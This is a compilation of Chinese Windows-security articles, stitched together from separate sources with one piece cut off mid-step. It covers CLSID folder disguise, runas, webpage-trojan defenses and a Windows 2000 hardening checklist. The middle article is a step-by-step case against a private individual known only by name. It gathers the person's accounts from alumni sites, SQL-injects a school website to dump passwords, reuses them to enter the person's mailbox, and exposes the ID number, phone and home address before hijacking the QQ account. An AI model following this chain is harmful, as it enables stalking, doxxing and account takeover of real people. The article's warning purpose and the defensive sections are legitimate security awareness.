    上面的方法虽好，但右击选择“打开”就会让自己的秘密现形，有没有更好的招数呢？将要隐藏的文

件夹改名为：网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}，回车后你将看到熟悉的“网上邻居

”图标，双击后看一看，和桌面上的“网上邻居”一模一样。
    为了伪装得更巧妙，最好将系统默认的桌面“网上邻居”图标删除掉，打开“注册表编辑器”，找到

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
    Version\Explorer\Desktop\NameSpace]。此时就可以看到“网上邻居”等系统图标，根据需要删除

即可。
    这样桌面上就只剩下你自己创建的“网上邻居”了。
    3.破解被“易容”的文件夹

    非常简单，只要安装了WinRAR，然后在被易容的文件夹上右击，所有伪装就被轻松地识破了（见图1

接着双击打开任意一个RAR压缩包，在地址条中定位到伪装文件夹的上级目录（如果是C:\test文件夹

，就定位到C盘根目录），你会在下面的文件列表中看到伪装文件夹（见图2），选中它后按F2键，将文件

夹名后面的标识符去掉即可。
小提示

    国内一些文件夹隐藏软件用的就是这个原理，用同样方法可以轻松将其破解。
    认识类标识符

    上面的易容术其实用到的是Windows中的文件标识符，其英文名称是CLSID，也称类标识符，位于注册

表的[HKEY_LOCAL_MACHINE\Software\Classes\CLSID]下，通常由32个十六进制数构成，其一般格式是“{

八位数-四位数-四位数-四位数-十二位数}”（见图3）。我们操作电脑时，会对系统程序名称发出指令，

Windows则通过对该程序的文件标识符识别而做出响应。因此，文件标识符与系统程序是一一对应的关系。
常用文件标识符
    我的电脑 {20D04FE0-3AEA-1069-A2D8-08002B30309D}
    我的文档 {450D8FBA-AD25-11D0-98A8-0800361B1103}
    拨号网络 {992CFFA0-F557-101A-88EC-00DD010CCC48}
    控制面板 {21EC2020-3AEA-1069-A2DD-08002B30309D}
    计划任务 {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
    打印机 {2227A280-3AEA-1069-A2DE-08002B30309D}
    记事本 {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
    网络邻居 {208D2C60-3AEA-1069-A2D7-08002B30309D}
    回收站 {645FF040-5081-101B-9F08-00AA002F954E}
    公文包 {85BBD920-42A0-1069-A2E4-08002B30309D}
    字体 {BD84B380-8CA2-1069-AB1D-08000948F534}
    Web 文件夹 {BDEADF00-C265-11d0-BCED-00A0C90AB50F}
    实例：打造“我的电脑 2.0”
    1.删除无用项目

    “我的电脑”中可能会有一些系统级程序（如Web文件夹、计划任务等），平时很少用到它们，我们

可以打开注册表编辑器，找到[HKEY_LOCAL_MACHINE\Software\Microsoft
    \Windows\CurrentVersion\explorer\MyComputer\NameSpace]，其下有几个类标识符，它们对应的是

在“我的电脑”中已有的系统级程序，右侧窗格为对应的系统级程序名称，右击不需要的项目选择“删除

”即可。
    小提示

    ★Windows桌面也有不少系统级的图标，并且不允许删除，请找到

[HKEY_LOCAL_MACHINE\Software\Microsoft
    \Windows\CurrentVersion\explorer\desktop\NameSpace]，然后选择并删除不需要的项目即可。
    ★WindowsXP的“我的电脑”添加了一项“在这台计算机存储的文件”，可以显示电脑中各用户存储

的文件和共享文件，这在一定程度上造成了系统的安全隐患，同时也泄漏了用户隐私，想要删除这项功能

，可找到[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
    \CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders]，删除“{59031a47-3f72-

44a7-89c5-5595fe6b30ee}”项即可。
    2.添加常用项目和文件夹
    一般情况下，许多用户经常会用到“控制面板”中的“网络和拨号连接”、”打印机”“用户和密码

”、“管理工具”等，不如将它们直接移到“我的电脑”中，这样用起来更顺手。
    首先，你可以在[HKEY_LOCAL_MACHINE\Software\Microsoft
    \Windows\CurrentVersion\explorer\MyComputer\NameSpace]下新建名为“{992CFFA0-F557-101A-

88EC-00DD010CCC48}”和“{2227A280-3AEA-1069-A2DE-08002B30309D}”的项，完成后，在“我的电脑”

中便会自动出现“网络和拨号连接”、“打印机”这两个新项。
    不过，像“用户和密码”、“管理工具”等就没那么容易添加了，因此，推荐你使用Shell Object

Editor这款免费软件（下载地址：

 http://www.tropictech.de/softwar http://www.tropictech.de/softwar ... itor_Install300.exe）。

    第一步：安装后启动软件，单击“Create new”按钮进入创建新项目向导，在“Shell

Object Name”（外壳事件名称）窗口第一个文本框中输入“用户和密码”，在第二个文本框中可以输入

相关描述，比如：设置Windows的用户和密码（见图4）。
第二步：单击“下一步”按钮，在“Select a funtion”（选择功能）窗口点选“The ShellObject

should behave like a program”（事件为程序），并在下面文本框中输入“Control Userpasswords”

（Windows XP请使用“Control Userpasswords2”），单击“下一步”按钮进入选择图标步骤，直接单击

…按钮会打开图标选择窗口。
    第三步：接着进入权限和位置设置窗口，在这里勾选“My Computer”（我的电脑），其他保持默认

即可。最后一步为属性设置，保持默认即可（见图5）。
小提示
    其实还有更简单的添加方法，那就是在Shell Object Editor窗口右击，选择“Expert Mode”（专家

模式），这样软件会列出所有系统级程序，右击“管理工具”并选择“Copy to→My Computer(all

users)”，这样“管理工具”便会被复制到“我的电脑”中了。另外，通过右键菜单，还可以对系统程序

进行重命名、删除、隐藏、更换图标等操作。
    现在进入“我的电脑”，“用户和密码”已经被添加进去了。不仅效果非常好，图标也很特别吧！我

们使用了特别的XP风格图标，如果你也需要，可到

 http://www.newhua.com/cfan/200419/xpicon.rar http://www.newhua.com/cfan/200419/xpicon.rar 下载，是我们经过调整后的“我的电

脑”，是不是很COOL？

    Just Do It

    利用Shell Object Editor将常用的文件夹添加到“我的电脑”，比如下载文件夹、个人文档文件夹

等。这时在“Select a funtion”（选择功能）窗口应该选择“The ShellObject should behave like a

Folder”（事件为文件夹）。
    用类标识符快速解决故障
    1.修正字体文件夹
    在Windows XP中，打开“控制面板→字体”，想安装新字体，却发现字体文件夹的“文件”菜单下竟

然没有“安装新字体”命令。其实，只要打开该文件夹中的Desktop.ini，加上UICLSID={BD84B380-8CA2

-1069-AB1D-08000948F534}即可解决问题。
    2.为什么不能访问光驱

    有时，卸载刻录软件后，Windows XP可能会出现无法访问光驱的问题，其实,=只要找到并删除

[HKEY_LOCAL_MACHINE\Syeten\CurrentControlSet\Control\Class\{4D36E965-E325-11CE-BFC1-

08002BE10318}]就能解决。


熟练掌握runas安全调试及运行程序

作者 .abu. at 补天网

2005-06-15

现在网上的东西实在是太可怕了，特洛依木马、病毒编写水平也越来越高，动不动就搞个什么进程隐藏，

注册表隐藏，rootkit技术，动不动再搞个几线程监控，发现防火墙，干掉，发现杀毒软件，也干掉……

有些过分哦，呵呵，是不是和我一样没有安全感呢。

前段时间我就遇到了这样的事，网上下个东西，自己也知道是个木马，但是调试的过程中，不小心执行了……

后果很严重啊，呵呵，反正为了保险起见，最后还是重装了系统。

后来才想起好几年前自己整天没事玩系统的时候，其实就知道用户权限的重要，看看为什么Linux下很少

有什么病毒之类的，还不是因为权限不够嘛。所以自己补习了一下，也改了改自己的习惯。

从WIN2000里面，好像就有runas命令了。这个命令的主要功能，就是在不注销当前用户帐户的情况下，

可以用系统中的其他帐户身份来运行程序。

其实最好的习惯还是自己平时不要用administrators组里面的用户来登录系统，只不过想好好学点东西，

折腾折腾系统的各种功能，我还是嫌麻烦。所以我倒过来使用。

就是我平时用管理员级别的身份登录系统，在运行、调试一些可能存在危险的程序的时候，用低用户身份来运行。

下面来说说：

我自己用的是Windows 2003系统。

一、建立低权限的帐号

打开用户管理，添加了一个帐号abu1


今天你泄露了吗 网络个人隐私渗透实例
信息来源：中国IT实验室
原始连接：
http://cisco.chinaitlab.com/safety/33646.html
在日益发展的网络社会,我们每个人都成为其中的一分子，而当你打开电脑连接到网络的时候，某一天你发现你的全部个人档案被地球上某一个角落的不速之客了如指掌，甚至于你的个人隐私,你会如何想?也许你很不以为然，不要以为这只是危言耸听，如果你是一个完全与网络隔绝的人，当然不用担心，但是如果当年是一个网络社会的新潮人士，你可能就需要当心了。下面我们来看一个实际的例子!

    仅仅知道某一个人的名字，(当然名字不是那种非常普通的那种)，如何查处他的个人信息(如Email,电话，住址，甚至密码等等)?前提条件:此人上网，拥有多个Email,QQ等(这种条件太简单了把，哪个网虫不手里好几个Email,好几个QQ，哪个不经常到论坛灌水?)。下面我们来达到这个目标!

    目标:知道一个人的姓名(此处假定为张三)，现在要查出他的网络常用身份!

    前提:此人(张三)名字不是太普通，不能太多重名，否则还需要知道另外信息!

    具体步骤如下:

    一:收集信息

    由于只是知道其名字，所以需要了解其在网上的活动!首先登陆http://www.google.com/和http://www.baidu.com/，输入其名字进行搜索，但是均没有搜索结果。这个很在我的意料之中，因为毕竟一般的人在搜索引擎上都搜索不到的，那么在哪里去知道更多信息了?

    打开http://www.chinaren.com/，登陆之后，校友录提供一个很好的功能那就是“同学大搜捕”，输入姓名，点搜索，但是提示非手机绑定用户，无法使用此“同学大搜捕”功能，没有办法，只好用手机绑定，再重新搜索，结果出来了，如下图所示:

图一

    可以看到，通过搜索，我们已经获得了毕业学校信息!接下来，打开搜索结果中的各个班级的链接，由于现在很多班级都把自己班级设置为不公开状态，访客登陆是无法看到校友录留言的，所幸的是在以上搜索结果中有两个班级是设置为公开状态，可以随意浏览校友录留言和班级个人地址，在个人地址中，查看张三的个人信息，提示非班级成员，不能查看，那好，直接点加入班级，都不需要批准就加入了此班级，接下来查看个人信息，可以得到张三在校友录的注册帐号:aaa@chinaren.com,常用Email:bbb@163.net，QQ:3*******.

    接下来，打开http://www.5460.net/，众所周知，chinaren和5460是两个最著名人气也是最旺的校友录，去5460看看是否能获得更多的信息。在5460上面依然使用同学搜索功能，不同的是此功能不象http://www.chinaren.com/那样需要绑定手机。果然不出所料，在5460上很快搜索到其资料，注册帐号为aaa111,Email依然是bbb@163.net。

    二:确定突破点

    至此，我们已经在只知道其姓名的情况下，获得了其常用Email，QQ，注册帐号等网络信息，接下来该如何寻找突破点，进一步获得更详细的信息了?当然，知道Email,QQ等，可以使用暴力破解密码之后进入其邮箱或者QQ，但本人不建议使用暴力破解(引用一句流行话语就是:一点技术含量都没有)。接下来该如何做了?

    接下来我们来使用忘记密码看能否找到密码,或者相关信息。打开163.net，点击忘记密码，就提示输入出生年月日，再把从校友录上获取的张三的生日信息输入，输入正确后提示问题答案为“who are you”,答案跟问题一样输入试了之后发现不对，此条路不通!在QQ的忘记密码中，密码忘记的提示问题为“who are you”,那么可以想到的是他的答案肯定不会跟问题一模一样。Chinaren的密码取回功能改为了人工，自然不能玩了，而5460.net上的取回密码比较有意思，画面如下!

图二

    在这个页面中我们点击IE上面的“查看源文件”可以看到如下内容:

    这样我们知道了密码发送到哪个邮箱，同时，知道了5460的密码肯定的明文保存在数据库的，不象QQ等只是发一个更改密码的链接!那么我们就知道，如果能够进入他的邮箱，就能够获得他的密码!

    接下来，由于知道了他的注册帐号，联想到是否他会用此帐户注册登陆很多论坛?还是使用google和baidu,但是这次搜索关键词使用他的注册帐号而不是真实姓名，这次到是有了搜索结果，第一个就是天涯论坛，打开链接，在天涯中打开此帐户的个人信息，然后搜索其在天涯论坛的文章，看来他还是比较活跃，分析他发表帖子的版块就知道他平时上网的个人兴趣了!但是此时还是离我们的目标很远。再重新查看张三的在校友录的注册信息，可以知道他的大学和中学名称，以这个为突破口，看能否实现?

    首先进入其大学主页，浏览了一下，估计可以利用的漏洞不是很多，而且应该也没张三的个人信息，就在一筹莫展的时候，随便在http://www.google.com/上搜索其所在中学名称，居然发现其所在的中学也已经有了自己的网站，打开其主页，发现新闻文章发布系统是采用asp系统，心中大喜，可能存在sql注入，再看其主页上居然还有一个自己学校建设的校友录版块，而且一看就知道肯定是采用网上那些免费的校友录程序的，看来此网站能够拿下的几率已经非常大了，等下就只需要确定张三是否在这个校友录上有注册，打开校友录中张三的中学班级，成员名单中显示他已经注册并登陆过，好，已经选顶了突破口，只要能够拿到这个网站的数据库，那么就可以拿到张三的密码，如果此密码和其在163.net上的邮箱密码一致，那么就大功告成，如果不同，那么也可以得到进一步信息。

    先看首页的新闻系统，使用asp程序，随便打开一条新闻
http://www./
***.net/include/shownews.asp?id=453,在URL后面添加 and 1=1，居然没有报错，显然存在sql注入，拿出NBSI2，进行扫描，扫描结果如下:

图三

    可以看到网站采用Sql Server数据库，而且使用sa进行登陆，在自动猜解中，已经知道校友录数据库为alumni_user，在列名中，选中name,truename,password进行破解，破解条件直接输入truename=’张三’即可，密码立刻就破解成功。大功告成!

    三:乘胜追击

    用破解的密码登陆其163.net的邮箱，居然密码一致，进入之后，查看其收件箱，可以发现其注册过易趣和当当网上书店，并使用过密码忘把密码发送到邮箱过，如下图:

图四

    可以看到，其在当当网注册密码，与当前邮箱密码不一致，接下来登陆当当网，使用帐户和密码登陆，此时当当网的个人信息中，个人的身份证号码信息，手机号码，家庭住址均一览无遗。

    在此邮箱中，查看邮箱设置中的个人资料，忘记密码栏中，提示问题的答案都已经明文显示在那里。在这里说明一下，163.net的邮箱把忘记密码的答案明文保存在个人信息中，增加了安全隐患，在163.com邮箱中和QQ等其他一些密码忘记答案设置中，答案都是不显示的，如果要更改答案，需要输入原答案和新答案进行修改。

    再使用已经获得的两个密码登陆张三的QQ，居然提示密码不对，到QQ主页，使用忘记密码功能，密码答案使用163.net的密码提示答案，顺利通过，而且将QQ密码的修改链接发到了163.net的邮箱。看来此次渗透是收获颇丰，不仅得到了他在网上所常用的Email,QQ，常登陆论坛信息，而且成功获取其常用密码!

    四:总结

    总结渗透过程，信息的收集是一个关键， 通过获得越多的信息，成功的希望也就越大，可以选择的突破点也就越多，而在互联网中，如何收集并分析信息就是一个很重要的环节。

    在此次渗透过程中，仅仅通过其真实姓名就获得了他在网上的很多信息，包括密码，而且更为严重的是，这不是偶然现象，在最近的三次渗透过程中，我都是如法炮制，都是成功获取信息，原因很简单，大多数人都会在别的论坛或者网站注册，而注册帐号或者密码往往都是相同的，而谁有能够保证你所注册的论坛或者网站是100%的安全的了?更不用说很多网站将自己的注册用户信息进行出售了。所以每个网虫在网上注册自己的个人信息的时候都要慎重的考虑一下，否则某一天你的个人隐私赤裸裸的摆在别人面前就不是一个危言耸听了，而是铁的事实了!

    注：本文所讲内容主要目的是向大家介绍这种存在的威胁，任何人不得利用本文内容做违法的事情。


防范网页木马的攻击
文章作者：不知道
来自网络的攻击手段越来越多了，一些恶意网页会利用软件或系统操作平台等的安全漏洞，通过执行嵌入在网页HTML超文本标记语言内的Java Applet小应用程序、JavaScript脚本语言程序、ActiveX软件部件交互技术支持可自动执行的代码程序，强行修改用户操作系统的注册表及系统实用配置程序，从而达到非法控制系统资源、破坏数据、格式化硬盘、感染木马程序的目的。
    目前来自网页黑手的攻击分为两种：一种是通过编辑的脚本程序修改IE浏览器；另外一种是直接破坏Windows系统。前者一般会修改IE浏览器的标题栏、默认主页等，关于此方面的文章比较多。下面就来介绍一些针对破坏Windows系统的网页黑手的防范方法。
    黑手之一 格式化硬盘
    这是一种非常危险的网页黑手，它会通过IE执行ActiveX部件并调用Format.com或Deltree.exe将硬盘格式化或者删除文件夹。在感染此类破坏程序后，会出现一个信息提示框，提示：“当前的页面含有不完全的ActiveX，可能会对你造成危害，是否执行？yes，no”，如果单击“是”，那么硬盘就会被迅速格式化，而这一切都是在后台运行的，不易被察觉。
    防范的方法是：将本机的Format.com或Deltree.exe命令改名字。另外，对于莫名出现的提示问题，不要轻易回答“是”。可以按下［Ctrl+Alt+Del］组合键在弹出的“关闭程序”窗口中，将不能确认的进程中止执行。
    黑手之二 耗尽系统资源
    这种网页黑手会执行一段Java Script代码并产生一个死循环，以至不断消耗本机系统资源，最后导致系统死机。它们会出现在一些恶意网站或者邮件的附件中，只要打开附件程序后，屏幕上就会出现无数个IE窗口，最后只有重新启动计算机。
    防范的方法是：不要轻易进入不了解的网站，也不要随便打开陌生人发来的E-mail中的附件，比如扩展名是VBS、HTML、HTM、DOC、EXE的文件。
    黑手之三 非法读取文件
    此类黑手会通过对ActiveX、JavaScript和WebBrowser control的调用来达到对本地文件进行读取。它还可以利用浏览器漏洞实现对本地文件的读取，避免此类攻击可以关闭禁用浏览器的JavaScript功能。
    黑手之四 获取控制权限
    此类黑手会利用IE执行Actives时候发生，虽然说IE提供对于“下载已签名的ActiveX控件”进行提示的功能，但是恶意攻击代码会绕过IE，在无需提示的情况下下载和执行ActiveX控件程序，而这时恶意攻击者就会取得对系统的控制权限。如果要屏蔽此类黑手，可以打开注册表编辑器，然后展开如下分支：
    [iduba_page]
    解决方法是在注册表分支HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility 下为Active Setup controls创建一个基于CLSID的新键值 {6E449683_C509_11CF_AAFA_00AA00 B6015C}，然后在新键值下创建一个REG_DWORD 类型的键Compatibility，并设定键值为0x00000400即可。
    对于来自网上的种种攻击，在提高防范意识的同时，还需做好预防工作：
    1、设定安全级别
    鉴于很多攻击是通过包含有恶意脚本实现攻击，可以提高IE的级别。在IE中执行“工具/Internet选项”命令，然后选择“安全”选项卡，选择“Internet”后单击［自定义级别］按钮，在“安全设置”对话框中，将“ActiveX控件和插件”、“脚本”中的相关选项全部选择“禁用”，另外设定安全级别为“高”。需要注意的是，如果选择了“禁用”，一些需要使用ActiveX和脚本的网站可能无法正常显示。
    2、过滤指定网页
    对于一些包含有恶意代码的网页，可以将其屏蔽，执行“工具/Internet选项”命令，选择内容选项卡，在“分级审查”中单击［启用］按钮，打开“分级审查”对话框，选择“许可站点”选项卡，输入需要屏蔽网址，然后单击［从不］按钮，再单击［确定］按钮。
    3、卸载或升级WSH
    有些利用VBScript编制的病毒、蠕虫病毒，比如 “I LOVE YOU”和“Newlove”，它们都包含了一个以 VBS为后缀名的附件，打开附件后，用户就会被感染。这些病毒会利用Windows内嵌的 Windows Scripting Host 即WSH进行启动和运行。也就是说，如果将WSH禁用，隐藏在VB脚本中的病毒就无法被激活了。
    在Windows 98中禁用WSH，打开“添加/删除”程序，选择“Windows 设置/附件”，并单击“详细资料”，取消“Windows Scripting Host”选项，完成后单击［确定］按钮即可。
    在Windows 2000中禁用WSH的方法是，双击“我的电脑”图标，然后执行“工具/文件夹选项”命令，选择“文件类型”选项卡，找到“VBS VBScript Script File”选项，并单击［删除］按钮，最后单击［确定］即可。
    另外，还可以升级WSH 5.6，IE浏览器可以被恶意脚本修改，就是因为IE 5.5以前版本中的WSH允许攻击者利用JavaScript中的Getobject函数以及htmlfilr ActiveX对象读取浏览者的注册表，可以在microsoft.com下载最新版本的WSH。
    4、禁用远程注册表服务
    在Windows 2000/XP中，可以点击“控制面板/管理工具/服务”，用鼠标右键单击“Remote Registry”，然后在弹出的快捷方式中选择“属性”命令，在“常规”选项卡中单击［停止］按钮


Windows 2000 安全检查清单
Windows2000 含有很多的安全功能和选项，如果你合理的配置它们，那么windows 2000将会是一个很安全的操作系统．我抽空翻了一些网站，翻译加凑数的整理了一篇checklist出来。希望对win2000管理员有些帮助。本文并没有什么高深的东西，所谓的清单，也并不完善，很多东西要等以后慢慢加了，希望能给管理员作一参考。
具体清单如下：
初级安全篇
1．物理安全
    服务器应该安放在安装了监视器的隔离房间内，并且监视器要保留15天以上的摄像记录。另外，机箱,键盘，电脑桌抽屉要上锁，以确保旁人即使进入房间也无法使用电脑，钥匙要放在另外的安全的地方。
2．停掉Guest 帐号
    在计算机管理的用户里面把guest帐号停用掉，任何时候都不允许guest帐号登陆系统。为了保险起见，最好给guest 加一个复杂的密码，你可以打开记事本，在里面输入一串包含特殊字符,数字，字母的长字符串，然后把它作为guest帐号的密码拷进去。
3．限制不必要的用户数量
    去掉所有的duplicate user 帐户, 测试用帐户, 共享帐号，普通部门帐号等等。用户组策略设置相应权限，并且经常检查系统的帐户，删除已经不在使用的帐户。这些帐户很多时候都是黑客们入侵系统的突破口，系统的帐户越多，黑客们得到合法用户的权限可能性一般也就越大。国内的nt/2000主机，如果系统帐户超过10个，一般都能找出一两个弱口令帐户。我曾经发现一台主机197个帐户中竟然有180个帐号都是弱口令帐户。
4．创建2个管理员用帐号
    虽然这点看上去和上面这点有些矛盾，但事实上是服从上面的规则的。 创建一个一般权限帐号用来收信以及处理一些日常事物，另一个拥有Administrators 权限的帐户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作，以方便管理。
5．把系统administrator帐号改名
    大家都知道，windows 2000 的administrator帐号是不能被停用的，这意味着别人可以一遍又一边的尝试这个帐户的密码。把Administrator帐户改名可以有效的防止这一点。当然，请不要使用Admin之类的名字，改了等于没改，尽量把它伪装成普通用户，比如改成：guestone 。
6．创建一个陷阱帐号
    什么是陷阱帐号? Look!>创建一个名为” Administrator”的本地帐户，把它的权限设置成最低，什么事也干不了的那种，并且加上一个超过10位的超级复杂密码。这样可以让那些 Scripts s忙上一段时间了，并且可以借此发现它们的入侵企图。或者在它的login scripts上面做点手脚。嘿嘿，够损！
7．把共享文件的权限从”everyone”组改成“授权用户”
    “everyone” 在win2000中意味着任何有权进入你的网络的用户都能够获得这些共享资料。任何时候都不要把共享文件的用户设置成”everyone”组。包括打印共享，默认的属性就是”everyone”组的，一定不要忘了改。
8．使用安全密码
    一个好的密码对于一个网络是非常重要的，但是它是最容易被忽略的。前面的所说的也许已经可以说明这一点了。一些公司的管理员创建帐号的时候往往用公司名，计算机名，或者一些别的一猜就到的东西做用户名，然后又把这些帐户的密码设置得N简单，比如 “welcome” “iloveyou” “letmein”或者和用户名相同等等。这样的帐户应该要求用户首此登陆的时候更改成复杂的密码，还要注意经常更改密码。前些天在IRC和人讨论这一问题的时候，我们给好密码下了个定义：安全期内无法破解出来的密码就是好密码，也就是说，如果人家得到了你的密码文档，必须花43天或者更长的时间才能破解出来，而你的密码策略是42天必须改密码。
9．设置屏幕保护密码
    很简单也很有必要，设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用OpenGL和一些复杂的屏幕保护程序，浪费系统资源，让他黑屏就可以了。还有一点，所有系统用户所使用的机器也最好加上屏幕保护密码。
10．使用NTFS格式分区
    把服务器的所有分区都改成NTFS格式。NTFS文件系统要比FAT,FAT32的文件系统安全得多。这点不必多说，想必大家得服务器都已经是NTFS的了。
11．运行防毒软件
    我见过的Win2000/Nt服务器从来没有见到有安装了防毒软件的，其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的病毒，还能查杀大量木马和后门程序。这样的话，“黑客”们使用的那些有名的木马就毫无用武之地了。不要忘了经常升级病毒库。
12．保障备份盘的安全
    一旦系统资料被破坏，备份盘将是你恢复资料的唯一途径。备份完资料后，把备份盘防在安全的地方。千万别把资料备份在同一台服务器上，那样的话，还不如不要备份。
中级安全篇：
1．利用win2000的安全配置工具来配置策略
    微软提供了一套的基于MMC(管理控制台)安全配置和分析工具，利用他们你可以很方便的配置你的服务器以满足你的要求。具体内容请参考微软主页：
http://www．microsoft．com/windows2000/techinfo/howitworks/security/sctoolset．asp
2．关闭不必要的服务
    windows 2000 的 Terminal Services（终端服务），IIS ,和RAS都可能给你的系统带来安全漏洞。为了能够在远程方便的管理服务器，很多机器的终端服务都是开着的，如果你的也开了，要确认你已经正确的配置了终端服务。有些恶意的程序也能以服务方式悄悄的运行。要留意服务器上面开启的所有服务，中期性(每天)的检查他们。下面是C2级别安装的默认服务：
Computer Browser service TCP/IP NetBIOS Helper
Microsoft DNS server Spooler
NTLM SSP Server
RPC Locator WINS
RPC service Workstation
Netlogon Event log
3．关闭不必要的端口
    关闭端口意味着减少功能，在安全和功能上面需要你作一点决策。如果服务器安装在防火墙的后面，冒的险就会少些，但是，永远不要认为你可以高枕无忧了。用端口扫描器扫描系统所开放的端口，确定开放了哪些服务是黑客入侵你的系统的第一步。\system32\drivers\etc\services 文件中有知名端口和服务的对照表可供参考。具体方法为：
网上邻居>属性>本地连接>属性>internet 协议(tcp/ip)>属性>高级>选项>tcp/ip筛选>属性 打开tcp/ip筛选，添加需要的tcp,udp,协议即可。
4．打开审核策略
    开启安全审核是win2000最基本的入侵检测方法。当有人尝试对你的系统进行某些方式（如尝试用户密码,改变帐户策略，未经许可的文件访问等等）入侵的时候，都会被安全审核记录下来。很多的管理员在系统被入侵了几个月都不知道，直到系统遭到破坏。下面的这些审核是必须开启的，其他的可以根据需要增加：
策略 设置
审核系统登陆事件 成功，失败
审核帐户管理 成功，失败
审核登陆事件 成功，失败
审核对象访问 成功
审核策略更改 成功，失败
审核特权使用 成功，失败
审核系统事件 成功，失败
5．开启密码密码策略
策略 设置
密码复杂性要求 启用
密码长度最小值 6位
强制密码历史 5 次
强制密码历史 42 天
6．开启帐户策略
策略 设置
复位帐户锁定计数器 20分钟
帐户锁定时间 20分钟
帐户锁定阈值 3次
7．设定安全记录的访问权限
    安全记录在默认情况下是没有保护的，把他设置成只有Administrator和系统帐户才有权访问。
8．把敏感文件存放在另外的文件服务器中
    虽然现在服务器的硬盘容量都很大，但是你还是应该考虑是否有必要把一些重要的用户数据(文件，数据表，项目文件等)存放在另外一个安全的服务器中，并且经常备份它们。
9．不让系统显示上次登陆的用户名
    默认情况下，终端服务接入服务器时，登陆对话框中会显示上次登陆的帐户明，本地的登陆对话框也是一样。这使得别人可以很容易的得到系统的一些用户名，进而作密码猜测。修改注册表可以不让对话框里显示上次登陆的用户名，具体是：
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\DontDisplayLastUserName
把 REG_SZ 的键值改成 1 。
10．禁止建立空连接
    默认情况下，任何用户通过通过空连接连上服务器，进而枚举出帐号，猜测密码。我们可以通过修改注册表来禁止建立空连接：
Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成”1”即可。
10．到微软网站下载最新的补丁程序
    很多网络管理员没有访问安全站点的习惯，以至于一些漏洞都出了很久了，还放着服务器的漏洞不补给人家当靶子用。谁也不敢保证数百万行以上代码的2000不出一点安全漏洞，经常访问微软和一些安全站点，下载最新的service pack和漏洞补丁，是保障服务器长久安全的唯一方法。
高级篇
1．关闭 DirectDraw
    这是C2级安全标准对视频卡和内存的要求。关闭DirectDraw可能对一些需要用到DirectX的程序有影响（比如游戏，在服务器上玩星际争霸？我晕．．$%$^%^&??），但是对于绝大多数的商业站点都应该是没有影响的。 修改注册表 HKLM\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\DCI 的Timeout(REG_DWORD)为 0 即可。
2．关闭默认共享
    win2000安装好以后，系统会创建一些隐藏的共享，你可以在cmd下打 net share 查看他们。网上有很多关于IPC入侵的文章，相信大家一定对它不陌生。要禁止这些共享 ，打开 管理工具>计算机管理>共享文件夹>共享 在相应的共享文件夹上按右键，点停止共享即可，不过机器重新启动后，这些共享又会重新开启的。
默认共享目录 路径和功能
C$ D$ E$ 每个分区的根目录。Win2000 Pro版中，只有Administrator
和Backup Operators组成员才可连接，Win2000 Server版本
Server Operatros组也可以连接到这些共享目录
ADMIN$ %SYSTEMROOT% 远程管理用的共享目录。它的路径永远都
指向Win2000的安装路径，比如 c:\winnt
FAX$ 在Win2000 Server中，FAX$在fax客户端发传真的时候会到。
IPC$ 空连接。IPC$共享提供了登录到系统的能力。
NetLogon 这个共享在Windows 2000 服务器的Net Login 服务在处
理登陆域请求时用到
PRINT$ %SYSTEMROOT%\SYSTEM32\SPOOL\DRIVERS 用户远程管理打印机
3．禁止dump file的产生
    dump文件在系统崩溃和蓝屏的时候是一份很有用的查找问题的资料(不然我就照字面意思翻译成垃圾文件了)。然而，它也能够给黑客提供一些敏感信息比如一些应用程序的密码等。要禁止它，打开 控制面板>系统属性>高级>启动和故障恢复 把 写入调试信息 改成无。要用的时候，可以再重新打开它。
4．使用文件加密系统EFS
    Windows2000 强大的加密系统能够给磁盘，文件夹，文件加上一层安全保护。这样可以防止别人把你的硬盘挂到别的机器上以读出里面的数据。记住要给文件夹也使用EFS,而不仅仅是单个的文件。 有关EFS的具体信息可以查看
http://www．microsoft．com/windows2000/techinfo/howitworks/security/encrypt．asp
5．加密temp文件夹
    一些应用程序在安装和升级的时候，会把一些东西拷贝到temp文件夹，但是当程序升级完毕或关闭的时候，它们并不会自己清除temp文件夹的内容。所以，给temp文件夹加密可以给你的文件多一层保护。
6．锁住注册表
    在windows2000中，只有administrators和Backup Operators才有从网络上访问注册表的权限。如果你觉得还不够的话，可以进一步设定注册表访问权限，详细信息请参考：
http://support．microsoft．com/support/kb/articles/Q153/1/83．asp
7．关机时清除掉页面文件
    页面文件也就是调度文件，是win2000用来存储没有装入内存的程序和数据文件部分的隐藏文件。一些第三方的程序可以把一些没有的加密的密码存在内存中，页面文件中也可能含有另外一些敏感的资料。 要在关机的时候清楚页面文件，可以编辑注册表
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
把ClearPageFileAtShutdown的值设置成1。
8．禁止从软盘和CD Rom启动系统
    一些第三方的工具能通过引导系统来绕过原有的安全机制。如果你的服务器对安全要求非常高，可以考虑使用可移动软盘和光驱。把机箱锁起来扔不失为一个好方法。
9．考虑使用智能卡来代替密码
    对于密码，总是使安全管理员进退两难，容易受到 10phtcrack 等工具的攻击，如果密码太复杂，用户把为了记住密码，会把密码到处乱写。如果条件允许，用智能卡来代替复杂的密码是一个很好的解决方法。
10．考虑使用IPSec
    正如其名字的含义，IPSec 提供 IP 数据包的安全性。IPSec 提供身份验证、完整性和可选择的机密性。发送方计算机在传输之前加密数据，而接收方计算机在收到数据之后解密数据。利用IPSec可以使得系统的安全性能大大增强。有关IPSes的详细信息可以参考： http://www．microsoft．com/china/technet/security/ipsecloc．asp SQL Server 安全检查列表
1．确认已经安装了NT/2000和SQL Server的最新补丁程序，不用说大家应该已经安装好了，但是我觉得最好还是在这里提醒一下。
2．评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。
